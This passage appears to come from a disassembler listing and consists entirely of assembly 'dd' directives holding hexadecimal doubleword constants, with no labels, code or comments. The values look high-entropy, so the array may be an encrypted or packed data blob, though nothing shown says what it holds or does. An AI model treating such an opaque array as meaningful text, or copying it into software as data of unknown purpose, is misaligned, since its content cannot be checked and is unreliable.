		dd 2DC46F26h, 57504521h, 7176D0BFh, 32202690h, 0CBA49F49h
		dd 0B360FAF3h, 95FEFA98h, 0A908BE73h, 11F5270Bh, 0BF2597B1h
		dd 0D95C956Ah, 6CFE2BFFh, 0C27E9E9h, 9F2B5353h,	3410C55h
		dd 0F4B7EB19h, 0C25D19DBh, 3C1EDCA7h, 0AC3DE914h, 0FE4A2D12h
		dd 1E8916BFh, 4D86D311h, 0E88FD99Ch, 0F1CB1653h, 0EEC2F5BAh
		dd 3962B35Eh, 0CE7BE9BDh, 0B4A661DCh, 497541CDh, 5127E12h
		dd 0C4FC4EEEh, 6DFD255Eh, 837309CDh, 0F857D6A9h, 0B0C1BD79h
		dd 4A287Bh, 0A73EB3BBh,	0C9B7B940h, 0E205310Bh,	3E94E199h
		dd 0EC3F4399h, 0C1E9F1FBh, 0F501A68h, 0D0803BDh, 0EA31699Ch
		dd 0FBC43F50h, 17B33E5Bh, 0E1655F27h, 7C906804h, 5F7D23A3h
		dd 69F7D131h, 0CA810474h, 0E2FE6FB3h, 0D214F73Bh, 0D65483F5h
		dd 10B463Ah, 0E115880Ch, 8A8F6641h, 82DEB7B0h, 0D4786227h
		dd 1AC46FE7h, 1F5BDAEh,	0A1F38A5h, 54C41605h, 24BCEA6Bh
		dd 3671CE64h, 8785463Eh, 0D716ED0Bh, 19BF1545h,	0F97BF6D0h
		dd 71CF042Bh, 83FF1266h, 5D8C582h, 6ABE57D3h, 0FBE5658h
		dd 0DA71589h, 5D18F680h, 0CC07DDDh, 497C8FCCh, 5EF52631h
		dd 4AF72580h, 223C8017h, 1364234h, 495AE281h, 2B4A0E0Dh
		dd 0F201BAA8h, 2CE631E4h, 0F4C27B52h, 3BBF760Ch, 7B83E2CFh
		dd 0FC531B2Dh, 8E5662C7h, 8C48EE74h, 74A7EE09h,	5BC3699Ch
		dd 720EFE1h, 0A8EA56C4h, 68E8D87Ch, 526C590Ch, 91F53085h
		dd 7B5FF862h, 90561088h, 42B30BC5h, 0BD7410D4h,	77FE0807h
		dd 2FB9F760h, 0B88A4AD5h, 0D35524ECh, 0A120A14Fh, 0CEED26DCh
		dd 7B95364h, 7F8E7743h,	2F63B341h, 554A1614h, 0DC8204B4h
		dd 0F9EAAAF2h, 6B68094Ah, 8840790Eh, 5E2D2CBEh,	102103A9h
		dd 0C7E279Fh, 77410527h, 1AEEFE05h, 140A0C08h, 4F8A22E4h
		dd 758525Eh, 0FA5BF276h, 1A7E2FBCh, 0FC00AA2h, 7C411ADBh
		dd 0DD5124E9h, 0F5FA743h, 5587492Fh, 293DB238h,	14C5DF82h
		dd 998697BFh, 69FD2491h, 1B1CFF04h, 8003E7C7h, 0B5514560h
		dd 2EEDEC38h, 0BDAFEA3h, 9C55590Ah, 0FE5D257Bh,	1B3FF90h
		dd 0DE39F598h, 89F7BA53h, 0F067E9F8h, 953490FDh, 24C09EFFh
		dd 0ACD746E9h, 2B507916h, 353169EAh, 85F27B98h,	2539CDCAh
		dd 4629D7h, 57511FE6h, 935ABF2Dh, 2F610882h, 89A23AFBh
		dd 0B32308C1h, 0DF3EA50Ah, 707F4E09h, 413BEBBCh, 2160507Fh
		dd 0A34C2402h, 0A8FD07E9h, 5FF72060h, 35683001h, 444B9376h
		dd 5C0B2DECh, 49FE1765h, 0D95D4C02h, 70930772h,	0FB29F9EBh
		dd 0F306BAB8h, 5C4A54ACh, 4DC7010Ch, 2DE92CFDh,	8BB82A42h
		dd 367186CDh, 91FB4ABCh, 0EAB8E9F4h, 0C8885FDEh, 0F766070Eh
		dd 0F94334D3h, 58811374h, 809764BCh, 775BE7B4h,	6817ED7Bh
		dd 0B35CFEh, 744B4104h,	0DF24C239h, 0D105EB80h,	0B76362h
		dd 0E66030CFh, 0D849816h, 258A1B1Eh, 70BBF00Ch,	95BECAC4h
		dd 0DE9D8113h, 3AF3F95Bh, 52E96621h, 432228CFh,	11B71282h
		dd 0BA9512BEh, 0C70159C4h, 562B6ACCh, 9302E35h,	8393BE20h
		dd 4CC2654Fh, 3B78F7D9h, 21FF1934h, 55E3BB6h, 434C04AEh
		dd 14F73127h, 74E2996Ah, 0F861DFE2h, 17A793F5h,	2F285CCAh
		dd 0B0C0827Fh, 948E451h, 72BE673Fh, 1717B306h, 220EEE09h
		dd 5A72D8B7h, 2D74E654h, 0F0F9EB9Ah, 4B5E6418h,	48D9EE08h
		dd 0C122AC2Ah, 660C1A7Eh, 9E3FD70h, 18FC3DEFh, 0CB0F4EF6h
		dd 641A475h, 4A708380h,	0B557F25Fh, 2C416870h, 55EAF2E7h
		dd 0CC1DDF8h, 64656BC3h, 2C7F56Fh, 2E605008h, 4D817B09h
		dd 0C514CB79h, 0F944B527h, 280A13EAh, 2E8C0A1Ch, 70054F85h
		dd 16D18C45h, 4616669Ah, 6D00E6D1h, 4A3E2D59h, 0C284C142h
		dd 2E6EF358h, 86E0F0E5h, 0A2DD2524h, 0FB986CF2h, 4C976813h
		dd 42CF3146h, 0EEB0B6Fh, 2600E411h, 0D45DA1F3h,	37F1914Fh
		dd 0E833D83Ah, 0C02DA1B6h, 801E1B67h, 0F12568ACh, 0FBE47Ah
		dd 0B252EFB1h, 0E9C2FEA8h, 0AC4B2024h, 0E003BAA6h, 4E1AD634h
		dd 3045FF7Ah, 9DEB52C3h, 0E55C7E60h, 70D876D6h,	419C34E9h
		dd 10FBEC30h, 800F06CFh, 91E588C2h, 3C7797ECh, 89395703h
		dd 4A6CDCFh, 559453A8h,	2FCD8BEh, 50191859h, 0F14FAAh
		dd 0FEFAB353h, 0B35C5A62h, 1DE2100Bh, 0EF5F5412h, 0ED16ACDAh
		dd 0CD36BC1Bh, 232059C4h, 4B174067h, 71BF40E3h,	4E485D7Ah
		dd 0CD404D8h, 74D24237h, 0D7984801h, 955A819Fh,	7CE3FEA4h
		dd 0CBD9C73Bh, 10A9CBBFh, 3502D77Dh, 70EF746Ah,	81003974h
		dd 0C76D1EF1h, 5370BF6Bh, 3539C5E4h, 14BD48D3h,	4DBD463Ah
		dd 8C628E8h, 0ED5DBFA2h, 0E8808D3Dh, 0C4A53F8Ch, 5B15CB7Bh
		dd 8348C6F3h, 3105FE4Eh, 0B7D4BFE9h, 832BE2BAh,	948A6855h
		dd 53C156ECh, 2138E734h, 719D01E0h, 414F2046h, 23E90581h
		dd 75E85731h, 5A1A9211h, 771AE85Ch, 0DDACAB4Bh,	0A2D53187h
		dd 0B15312A4h, 0B27787A0h, 290AC908h, 810820C6h, 6D9E5BC3h
		dd 0D7FDD482h, 164FC126h, 0D64DFC24h, 529D61BEh, 0F7698168h
		dd 555D05E6h, 5BDD8FAh,	83169BEEh, 4F49FE60h, 2CF7882h
		dd 0D50E6768h, 4D60597Bh, 2717F3BBh, 0EF728Fh, 35B85077h
		dd 184EA431h, 7C0B1113h, 0A410C60Fh, 0A7309FA3h, 0A4C0259h
		dd 76DF2586h, 299982C3h, 0F4757022h, 0BAFD64A4h, 28AAE045h
		dd 0D8809629h, 62C57A32h, 3194F0E9h, 0EEC9561Eh, 4A81E463h
		dd 4EDDFE55h, 66F59A02h, 0A3C49D04h, 0B6AFC897h, 9A44B50Ah
		dd 0D84E4BF0h, 0A5EECD84h, 0C3287F6Ah, 9AC70968h, 0FBF155DEh
		dd 685DEA60h, 32124ADBh, 0D7C88FC6h, 0C904F581h, 453E5716h
		dd 4838BFEh, 1850239Ch,	0DC2E03C0h, 0E9BE0904h,	0E890AFACh
		dd 122D1E71h, 59885D49h, 0AB0C3408h, 0C61D9ACh,	0FA3F4C56h
		dd 0D48C77Fh, 192ED86h,	6CEAB2EAh, 9CBA7EAh, 8CAFF133h
		dd 0E111DA10h, 0BE4DF190h, 0D7AF1018h, 7E98ED4Bh, 8DBEEA4Eh
		dd 3DA73FD8h, 0B4F7F3CFh, 687F02CCh, 983EB8B4h,	0C5FBDB0Dh
		dd 1B7A1357h, 4BF5CA59h, 0BD98CFEh, 0F7B30A5Bh,	0AFE0D69Ch
		dd 800276D9h, 91BA0012h, 275BA719h, 5EA907BFh, 11078620h
		dd 17DC206h, 0B0C1C9Ah
		dd 50966CE3h, 33474400h, 0E2BD382Bh, 405157E3h,	9A00A76Ah
		dd 51254105h, 0E71159E9h, 285F880Bh, 0DA9ECB55h, 0F64C5D58h
		dd 4BABF195h, 1463CE5Dh, 0C3D6ECE9h, 0AED2C50h,	58507E74h
		dd 0F70404E2h, 883E80D5h, 97241ECBh, 0F02FBA31h, 7D5A823Bh
		dd 0C71DADE1h, 0CED37F3Dh, 68921602h, 0BCE7004Ch, 475C9B7Ch
		dd 8BBA2748h, 6C710086h, 12948B98h, 0EADE8956h,	8E37E4D9h
		dd 0FA50E018h, 5C70C380h, 0BC36CB7Ah, 14254CDDh, 830FF168h
		dd 0A8BBAC0h, 0E93637A4h, 9DA377ABh, 0A2B5DDF0h, 0C322FBAh
		dd 9AA468BAh, 0DE295E2Fh, 61447A97h, 0EA0DD5Fh,	0CD63F35Fh
		dd 35119748h, 3F4315E7h, 6AC9DFCDh, 0A40279E1h,	845127D6h
		dd 20675E08h, 0AE3C45EBh, 62692458h, 9E50D55Ah,	205672CBh
		dd 72EABE38h, 80504E7Ah, 7423EECCh, 5E175325h, 0AD03126Dh
		dd 819099C7h, 1B00E055h, 667E9E68h, 9D5CF831h, 0C8FD030Bh
		dd 2708710Ah, 93F77725h, 8C1800A4h, 5A0DCF7h, 30E64810h
		dd 56B02D01h, 0D0010AC6h, 5BD0F96Eh, 1A31B3D7h,	0E834FE84h
		dd 48DC955Fh, 89BFFC92h, 0BDE23BE3h, 0AC87D627h, 0F7A91F5Fh
		dd 977E7877h, 0ABBAC898h, 9D498403h, 5B237BE9h,	0EB04EB30h
		dd 0DE4CB12h, 87201875h, 2EF24804h, 310EAF12h, 35904CC1h
		dd 50BAD17Fh, 61B721B0h, 103A5157h, 0F1497F21h,	43958781h
		dd 38D1CE47h, 0CD61697Dh, 7AA8DED0h, 0DB772797h, 5CE11592h
		dd 819D54F6h, 3B153097h, 9984BFF2h, 78E8BE86h, 0B068C59Ch
		dd 9989F528h, 5758D586h, 243FCDF4h, 0AD687BBFh,	0F49623F4h
		dd 0EBC17C42h, 7F6BE106h, 29638D2Fh, 4BE84CDFh,	0FB8E94FFh
		dd 726BB26Dh, 5C01B0D4h, 0F2E0D231h, 8208BE6Eh,	120A5753h
		dd 86348075h, 9D01CC30h, 4442E389h, 0E34FF840h,	5EB5C8A4h
		dd 0A1D72FD4h, 8E2E939h, 0EFBD2097h, 0E8290A45h, 9A9C21B9h
		dd 5B5D24BBh, 5FFB077Eh, 0EE1C2521h, 41ECF1DCh,	39803F32h
		dd 1EDF2BBEh, 41F08908h, 0AE787735h, 98A02B54h,	1E07AD1h
		dd 6A5324C0h, 7C4B9EE9h, 50A7CBC7h, 0FABB4E0Eh,	39C87724h
		dd 0CDAD27E9h, 83902A79h, 425FCF5Ah, 0D42210EEh, 428DBF4Ah
		dd 0AA3123F0h, 0C0DC55B9h, 1A4C0272h, 46F5099Eh, 4B6871ACh
		dd 1218E361h, 0CFAA4199h, 12985E95h, 60BF41B1h,	3B1EB313h
		dd 47CD6F41h, 0AC3AACF5h, 0A2BAC02Dh, 1D0D622Ah, 2DB5E957h
		dd 6870E054h, 0FA2C1238h, 58BC0466h, 5EB8131Fh,	1C8CEE4Bh
		dd 258EB9EAh, 696E14F7h, 760E3221h, 14B53E62h, 2D3040F7h
		dd 32E9EC32h, 5F281085h, 50B0985Fh, 0ECBA0552h,	0FF26A175h
		dd 0B07C6180h, 0D699842h, 66B17DE9h, 6FB4D972h,	14335005h
		dd 0FCE50198h, 54944959h, 0B950AA01h, 7EEE0923h, 4B8A82E0h
		dd 0F2CCB8AFh, 1CDC87h,	1B236852h, 5A5C5685h, 0A3204B1Bh
		dd 0CAA36484h, 9CEA8D82h, 1332DE66h, 5D6CB055h,	4B2B5B95h
		dd 81807AD4h, 8248AACFh, 493DF64Ch, 7A5C9A14h, 98705D25h
		dd 21D874BDh, 0C6B6AB0h, 0E9DC6C01h, 0BF17BB65h, 40F46649h
		dd 173CBD8Bh, 132DC935h, 12FE91Fh, 63978F5h, 6CC79507h
		dd 2818081Ah, 8D033F15h, 0EBE90B99h, 241059C9h,	1379026Fh
		dd 114035DEh, 5C95F9A7h, 0D3554959h, 2F1E8E8h, 100206F5h
		dd 0FA6BC8E4h, 0E8C45D11h, 6F1E724Bh, 6E4D89B1h, 0B493E86Dh
		dd 3D5AEBF9h, 21BF0D53h, 2AAADC17h, 0EFB473A8h,	0D01514BCh
		dd 4D199674h, 3BC54347h, 0B4183FF9h, 7FF21754h,	90158805h
		dd 5107D589h, 17F837D9h, 0C8EE10FDh, 0A54009C9h, 8003F381h
		dd 89770FD4h, 7854EAD9h, 575C584Bh, 0B9763104h,	0B4C0EA70h
		dd 153EED1h, 5014FDBBh,	61DE211Eh, 3C2A8150h, 4E31044Fh
		dd 10AD6D60h, 1D6EED6Bh, 0D693AA09h, 0D91080A9h, 7ABC4AD5h
		dd 0E82A1958h, 8EEA40A4h, 60F2BA41h, 3FB2520Bh,	460D07Fh
		dd 0E9A6C280h, 6C9EACF0h, 0FAABAD62h, 8BFD95E6h, 29ECF036h
		dd 9150AE5h, 59F95530h,	17C0D112h, 50490946h, 1F85934Dh
		dd 0E403118h, 99A62CC9h, 950AF61Fh, 9A1D333Ah, 0B125FE00h
		dd 58DBF73Bh, 0EB02E74Bh, 0AAE1A650h, 5827355Ch, 7E0A045Ah
		dd 1FCA29F5h, 47503897h, 4BAB59DEh, 998CCD0h, 9F8BD9Ah
		dd 0EA2FDE0Ch, 0A070C73h, 29EB7165h, 0C49513CFh, 161FB899h
		dd 54B638E2h, 9DF2BA92h, 0BB228C12h, 0EFC05DB5h, 0B1511E59h
		dd 21AA7FD8h, 51EAFEB3h, 2ABBB28Ah, 0FA860403h,	84ED7F6h
		dd 0E93851B8h, 0E2771F33h, 6E482BBAh, 0D7995A54h, 5BE95660h
		dd 0F0D9B56Dh, 47E7D7A5h, 5723E2ADh, 7FA756C5h,	9DA2C064h
		dd 0F5E5095Dh, 0E950BA59h, 6D63E3A3h, 2A05BE4Eh, 2FE81D6Fh
		dd 80229C8Fh, 6F75FED0h, 49E9840Fh, 0CC6CBC74h,	630AA56h
		dd 0BE3E4627h, 294C0B34h, 49FA4B0Ch, 0A5DD33F1h, 0ADACD2C0h
		dd 0AA16FB0Fh, 3DBF0C98h, 0E926971Fh, 0C7D6D4BDh, 96595838h
		dd 3D0CEFD0h, 4057D0B2h, 9E256811h, 5B8737Dh, 0EA2C4896h
		dd 0D5AF300h, 3FC2612h,	43C10529h, 99AB155Dh, 407080A0h
		dd 0E2E0E92Dh, 0E760F556h, 0F633C5FEh, 0C88008D5h, 0B0EF20A8h
		dd 4BB04E57h, 9ED5028Eh, 0B85C48D7h, 25D26910h,	2DE62405h
		dd 0BC6FF0A5h, 61EB9293h, 55A7C8Dh, 76F8F0EFh, 58825BBh
		dd 85B1350h, 591203E9h,	2968FDCCh, 9E87668Ch, 9305C55h
		dd 2B82578Fh, 58049842h, 0C9AC05B0h, 0C5777460h, 0E95C4063h
		dd 44B5B5C0h, 19CC9DCEh, 0D94BA84Ah, 4E85DCF1h,	0C02FF257h
		dd 7E1E4A68h, 597F08h, 963785E1h, 52E95522h, 2DEEEC4Eh
		dd 3A46F9E2h, 0EEC77DB4h, 931F5FA5h, 41EC8E64h,	5A9195F6h
		dd 15B8D9C7h, 0FD2C5B01h, 0DEB22B53h, 0FB338C1h, 0E9D28530h
		dd 0BEEDA43Eh, 23092D12h, 17F5C89Ah, 0CB2EFFFCh, 5A27A84Ah
		dd 69CEB338h, 4101ADC8h, 30172962h, 2C2633BAh, 0CF1F9E74h
		dd 66B25430h, 0A8144E69h, 0E0F83974h, 0CB4BE38h, 97F2C28h
		dd 87B98927h, 2F949C57h, 0CF3B2D03h, 1F817DAh, 9C1665Fh
		dd 0C97B74C0h, 48412A63h, 10116858h, 3BC9B7AFh,	0B551D4B7h
		dd 0FE63C1A0h, 4B468683h, 7B3CE146h, 0E9E1A2FCh, 26A68C1h
		dd 282A7EB8h, 7E405F18h, 24E6841h, 841B9EDh, 4A758C30h
		dd 0D134AA4Eh, 0BF474C2h, 0C73D80FDh, 5A5F6DE2h, 19C1A167h
		dd 13D22FBCh, 0A20F4B31h, 0F2AD80CAh, 0E9FD036Bh, 574DE03Eh
		dd 7499BF00h, 6AE93305h, 0C775CC53h, 979ECE84h,	8F4AE025h
		dd 915395CDh, 6C8DC117h, 0E63FB1E1h, 8C9D1178h,	78EC502h
		dd 0C2D784DBh, 54C86428h, 97509D3Bh, 5C582F54h,	0ADD972Dh
		dd 565AA78Eh, 6E935143h, 5B78DAB3h, 68F7289Eh, 310E1F31h
		dd 4B7BE6ECh, 29F65BDEh, 7AE17C25h, 7993D155h, 9A984121h
		dd 16680078h, 6000BE22h, 0DC20DEA3h, 0E1272BB4h, 887E5E35h
		dd 734E96Eh, 0DC139967h, 0FEFD74AAh, 0AB5F31E3h, 0F7832402h
		dd 0A00DFAFEh, 5FC89230h, 10BCF805h, 0EC77AA9Dh, 7D8BAA68h
		dd 7F4FBB70h, 0CF04F7B8h, 0FE75062Fh, 7E846A20h, 0C43C5B29h
		dd 6260ABCBh, 0BC2AE951h, 475F257Eh, 0F288895Ah, 0C9A782DBh
		dd 0DDFEBCB0h, 0E5E6EA4Eh, 92F3C797h, 40CDB134h, 1B33EB65h
		dd 9D2B1C26h, 0FB225B2Eh, 56D9FEB5h, 214FE598h,	770935E3h
		dd 0AA825079h, 2C035E66h, 5D59B2F4h, 0E985A75Bh, 0A842B6EDh
		dd 0FF06EEC1h, 0F81CD1A5h, 0F02113DAh, 4FCA2BAAh, 0CB85E202h
		dd 7C8694BAh, 3E5894E9h, 0BD977ACh, 1361CC2Dh, 0F08D6FA8h
		dd 1AAB20F5h, 59D70BCFh
		dd 0D816891Bh, 316971ADh, 0D1A846F1h, 56010183h, 0FA0CB9BEh
		dd 56093B03h, 40756189h, 0BBD1842Eh, 0B7A140ECh, 2E326372h
		dd 5682CF51h, 5A3273E9h, 0CA529783h, 0B95B29F6h, 44FE6C34h
		dd 9B1C49h, 6F402B2Dh, 97B9F70h, 2BC6520Bh, 0D5625D70h
		dd 7084D216h, 2A9219D4h, 0F705C111h, 1227DFD5h,	16E7E2BEh
		dd 8DA2A8D3h, 4085FA90h, 319CAAB8h, 40F9F8D5h, 351D5907h
		dd 50FA5577h, 8E91D8DEh, 236C0603h, 7225DF31h, 0B5834BE4h
		dd 20B22F2Eh, 0D2BBE952h, 3957E5A2h, 6D4434AFh,	0E0069AC2h
		dd 491881h, 725EBD55h, 11E97125h, 0F9A36FE9h, 4F508A25h
		dd 0F388664Eh, 0FA519528h, 930B0E24h, 0DD387741h, 2149D668h
		dd 0A85270Eh, 752DBB76h, 850FA48Bh, 0FB384FA6h,	41C2FBF1h
		dd 0D69F7EFEh, 0BB52D8D7h, 0DD09FE81h, 0DDA3DAE8h, 87309233h
		dd 0F4794B2Dh, 0B6525160h, 0CE801890h, 0FE720657h, 0EE7AD0ECh
		dd 500AF605h, 6ECBE4B4h, 0E388530Fh, 0E9D8C3FCh, 0DF0FE86Fh
		dd 0C577D9F1h, 6CC12144h, 573D12E4h, 5D241D04h,	1CEFA38h
		dd 5BE5B64Eh, 2902DBF0h, 5B47C6Dh, 90FEFCA6h, 0B34B4A65h
		dd 0E0E2264Ah, 98EC05Eh, 0D8C0790Fh, 0C86F54BAh, 4B39812h
		dd 5C046999h, 5EF1601h,	0E8A2EE63h, 6913D4CDh, 0D200FD60h
		dd 47C76E85h, 0CA074A77h, 3D7948AFh, 6B45E2D0h,	0C78620Ch
		dd 2FF2769h, 9C7DD1Eh, 82D952D5h, 31F45D94h, 423AF47Ah
		dd 4E7552ADh, 9817C5Bh,	29A9107Fh, 1E58A174h, 0B8209FCDh
		dd 0A93F45EDh, 0F8FB5D7Fh, 0EEB51143h, 0BDFAFAA0h, 3CDD6B31h
		dd 4FEC5E79h, 6902BBA5h, 0DD396368h, 0BD80E16Ch, 0F25C4738h
		dd 0A3141066h, 2C70BA05h, 0CEB5409Dh, 2995440Bh, 137E2D80h
		dd 81D8B4Dh, 58135C45h,	4B12DBAEh, 0A66D28BFh, 244CE259h
		dd 79124A66h, 0A2AEEC1Dh, 9AC4D3Bh, 2406ECC0h, 60831F6Ah
		dd 8C063A9Fh, 81EAD6ADh, 0F0ECAD03h, 17EA4E4Ch,	9CFE3297h
		dd 68175DB9h, 2A33081Ch, 25E3C855h, 0E96D15A5h,	0B2059FB1h
		dd 0BEC8B703h, 0FF5E7523h, 31F2CF85h, 7235680Bh, 27704FB0h
		dd 0D179C428h, 4A5B5A74h, 502645ECh, 431A0065h,	1FE92EA4h
		dd 3C5FED40h, 712DF721h, 0C1B626C0h, 0C0F02831h, 0B05C399h
		dd 0C3D5056Dh, 2D1A3C04h, 4C9FCE4Ah, 0EF571055h, 0F2773D4Dh
		dd 1CB4D7h, 0F820FABEh,	2395467Dh, 0AD665E58h, 7AE662C0h
		dd 5088030Fh, 605BE955h, 7EBB340Eh, 0F803EB56h,	0D6F8ED76h
		dd 497694F9h, 0B7240880h, 0DFEA70C0h, 0D698682Fh, 0F88B92B7h
		dd 53560098h, 0F6815B5Eh, 2C0E17B9h, 9AFF072Dh,	0ABCC944Ch
		dd 417840F3h, 0D8B66EB1h, 0D2AFD73Eh, 0DBDDEF62h, 2E424CEh
		dd 47712D98h, 0D26C3F40h, 6AD8E5Ah, 568C740h, 0E93E1323h
		dd 0B8A3A406h, 0C91FD809h, 5237864Bh, 18629F60h, 4163D975h
		dd 7F666858h, 6CBDBE30h, 3FFE3077h, 1889874h, 0A1F7C05Bh
		dd 24CEDE99h, 0E498DF22h, 4845F84Eh, 0CCFBB733h, 0DE5E1C90h
		dd 0CAFE1292h, 1DFBFD05h, 9931B8B1h, 82298005h,	1176C347h
		dd 40432F8h, 53495B34h,	0C7AEDAC5h, 65B38991h, 0A9447A12h
		dd 6882DCA8h, 0E1A40F33h, 81E6B012h, 610BE50Bh,	529A57BDh
		dd 57CD909h, 71253671h,	7B20F161h, 5F150ACEh, 0FC3AC6h
		dd 0CB421377h, 0A7958CE9h, 0EFD4F741h, 5EA8A0AAh, 16AA6819h
		dd 238DD87h, 8CD12914h,	48489420h, 876962CFh, 0A88575DEh
		dd 8313AFB7h, 493C2A9h,	0B38F6E9Ah, 4BFF5CC3h, 5B133D68h
		dd 0F529FA1Dh, 4C4CF72Ch, 3AEE2500h, 0AB351591h, 70F05012h
		dd 0DF34C2C7h, 211560BBh, 6048615Ah, 8CA1409Bh,	2ADDE389h
		dd 55ADB852h, 5605D214h, 665ADA68h, 5E7B4BBFh, 51452D79h
		dd 0E1BA34AEh, 7B853FA8h, 0E912C3E3h, 3A82B182h, 5D4C4ECBh
		dd 260B2BC6h, 0FE596618h, 8295E8B0h, 0ED0F4040h, 2BA27AF7h
		dd 72C8BED6h, 0CB0A97A9h, 0BD500950h, 13681818h, 0A8302A4Fh
		dd 1C4EB7AAh, 1D64EF80h, 70C75DD7h, 0E52EE9EFh,	0E6A821B4h
		dd 0F9445F94h, 0AA4B76F8h, 2D5086DEh, 850C1331h, 1184EA55h
		dd 0CAEB0812h, 0DF5C253Ch, 0D360AD98h, 37620583h, 0D1C8A09Ah
		dd 86C7D4h, 2725B951h, 1D760971h, 7FA9ED03h, 5320147h
		dd 2958D740h, 0A561CAh,	0B956E908h, 0BC8219BFh,	0C5D709E6h
		dd 5AF32C0Bh, 6A004CCh,	0D52D0BE1h, 0EBE4614Bh,	98FB0844h
		dd 0BE405DF0h, 7CA5BF59h, 7411FC66h, 176206CEh,	6C151DFFh
		dd 0C2779FCAh, 0FBE991E4h, 0DB9D8950h, 2B80A7Dh, 76C542FBh
		dd 2FBE6677h, 0D4C63905h, 3E2FD409h, 82D735Ah, 0B63057CAh
		dd 4C0F73B9h, 0B84FAA51h, 0A7F28401h, 92C6F2AAh, 3F2E1405h
		dd 4A6E8FEFh, 1E297E9h,	0AD657509h, 8285AF16h, 652EB7BDh
		dd 57361A51h, 132094DDh, 0B8EAE7E9h, 6D56DE0Eh,	0A73A35F1h
		dd 37385BEh, 194E28EFh,	94654F45h, 3B344DCDh, 54803D0h
		dd 13C43CF4h, 0AB33F5A8h, 0E2ED24CBh, 3BECDF72h, 0C2879BFh
		dd 8120C4ACh, 0B06C50C4h, 1006C5AFh, 0C6B0858h,	5E5762D7h
		dd 0BE958C8h, 81866648h, 8062325h, 8315252Eh, 0AB2CEB40h
		dd 9D00E1DDh, 31304C26h, 125A60D5h, 640B70A6h, 6D09019Ch
		dd 4DFCEC2h, 216C8BBDh,	49038066h, 7C0B513Fh, 0D4179AE9h
		dd 5F78BEADh, 0EF46C518h, 0B5F1F699h, 1A7A0265h, 0E670F763h
		dd 976FA220h, 0B0205ED0h, 13C1BD27h, 159343Fh, 0B16EC64Ch
		dd 8C316855h, 9538B3Eh,	69B0EBE9h, 7E0BCEh, 0ED2DADEEh
		dd 104ED109h, 341567B8h, 0BF02204Eh, 422B637Eh,	11E40940h
		dd 0D8C4EB2Dh, 0D8564F6Fh, 4D27E1D8h, 2051F053h, 7FBECAB4h
		dd 0D959DA04h, 22F6B0FBh, 7345F041h, 0E85EDCB9h, 0F5E493BDh
		dd 0AA0D0644h, 7C474F14h, 95974812h, 17B6D9B0h,	0FA07CE6Bh
		dd 8EA2E0Ah, 28422024h,	57680109h, 0CB5A6C13h, 0DE2BFD81h
		dd 90950B16h, 80908AE1h, 4D2CFFEh, 284AFB02h, 511B7EFAh
		dd 0C3917E50h, 2E5494DEh, 4223CDABh, 36EC290Bh,	67E0E607h
		dd 216F38BFh, 1F2C15E3h, 8265EA20h, 7220BD40h, 0FA5E5480h
		dd 0FF889FD5h, 1A6211E9h, 20A0AEFh, 40C69ABh, 29E835Eh
		dd 0F0039089h, 64953717h, 0BDD08088h, 12311F8Dh, 7A3EC907h
		dd 2BE0644Bh, 0D2F63DD9h, 0E579A9B5h, 7F6A0BD3h, 0E6E9E655h
		dd 25CABF85h, 485DF809h, 0D2E3B569h, 3AF5F1B4h,	0F7D6FAD2h
		dd 3B654E30h, 0B7BB2E86h, 0C15F0546h, 0EB9600E3h, 5755251Bh
		dd 129F6CC8h, 0E789B051h, 22B2160Dh, 700285Bh, 0BD5C3159h
		dd 0F49733C6h, 0F3818088h, 4B70030Ch, 0F9C5697h, 170C3A36h
		dd 0C716370Ch, 0A90B42FCh, 0CBEB76F8h, 12D5358h, 36BC55CDh
		dd 50E1FC9Dh, 44B5FB88h, 0B210CA6Bh, 7B730249h,	0CCFF3F5Dh
		dd 322B98D3h, 0EB27465Eh, 93BD13DEh, 0CEBF7FB1h, 0C1381362h
		dd 0C206A604h, 6157EF4Bh, 0FB2E5D4Ah, 4BC1943Ch, 896A71A2h
		dd 3691F4D1h, 0BD8091B1h, 18404ACAh, 3EA4F09h, 0BA51B259h
		dd 1BF260CFh, 4F484A26h, 639C05F0h, 83FF37E1h, 495A7616h
		dd 49AFDC64h, 1160B229h, 6B1613BFh, 23F251EFh, 8216EA58h
		dd 843F97FDh, 0F09CEC5Fh, 28AC2Ch, 0ECB252D8h, 0C067CA80h
		dd 0E002E22Dh, 847509FFh, 1731E14Ch, 1D086F8Ah,	0E3D4256Ch
		dd 7C33415Ah, 9627160h,	6EAD6857h, 478D5A30h, 0A84BD63Eh
		dd 3AC00DD5h, 225162B8h, 3A350565h, 0EA7D1F2Fh,	270DD5C0h
		dd 146A5A29h, 3E7ECB21h, 0F7A66143h, 0F8C79727h, 4DE4E777h
		dd 0E93BD0B1h, 0EC68C186h
		dd 0E56CC975h, 907D882Fh, 827A7690h, 7ABE155h, 68D0203Eh
		dd 0D76DA22h, 0A50DDE9Dh, 10C6C0A0h, 545E33C7h,	0BEB1448h
		dd 3D66600Ch, 91B9B726h, 204BF825h, 0B116AABDh,	71AA08A4h
		dd 0E6C0FE17h, 96D414C0h, 877BA5BFh, 527E82A1h,	50DFA019h
		dd 0BEBA6BFAh, 38EE0124h, 6A51C080h, 90F2297Ah,	2088A34h
		dd 780DCF1h, 94BC6597h,	1048BCF6h, 0C49DE1Eh, 0A289ED4Ah
		dd 0E323C154h, 0AA515C03h, 36CE3E72h, 3E00AC5Fh, 2EE3FFAEh
		dd 45C985A9h, 0B4D6CF85h, 300E9DC2h, 0E05F4928h, 0B67A0BEDh
		dd 0F90CC016h, 21DBEF43h, 0D5DE824h, 6FE00817h,	481D431Ah
		dd 7974DADh, 47EE805Bh,	7F4D9492h, 5F387F59h, 194D101Fh
		dd 8890C998h, 1CB818F5h, 125A50A7h, 67C86858h, 0AB518569h
		dd 7CE97730h, 0B61A9D5Fh, 5BD8FAFDh, 4C16F6FDh,	0EFD34004h
		dd 8C253D09h, 0A1D07F65h, 0C27C0882h, 206333C6h, 12F4712h
		dd 60A779C1h, 3CD26B2Dh, 6F233506h, 522A2143h, 0E9C7E058h
		dd 88FE25C9h, 69F6E9Eh,	80C3BE7Ch, 17A5EAC4h, 0BE38183Eh
		dd 1D089150h, 24F7835Eh, 57801FA4h, 0BAD9E926h,	6A5AEA69h
		dd 9D0ABFh, 6364204Bh, 0D3FAEB31h, 90D3AA5Ah, 5063D02h
		dd 7EFE6D9Ch, 44B71E5Ch, 2981FEBEh, 5C01971Bh, 0DBF87A50h
		dd 95224FC9h, 10D551E3h, 0F872A9B6h, 1091EB01h,	850A62C2h
		dd 0F5D04002h, 0A0DD8227h, 62BCB28h, 573001B8h,	0B6F9BBFh
		dd 0A1CB4067h, 51637B1h, 0BB4CFB09h, 39DDDC02h,	8B588583h
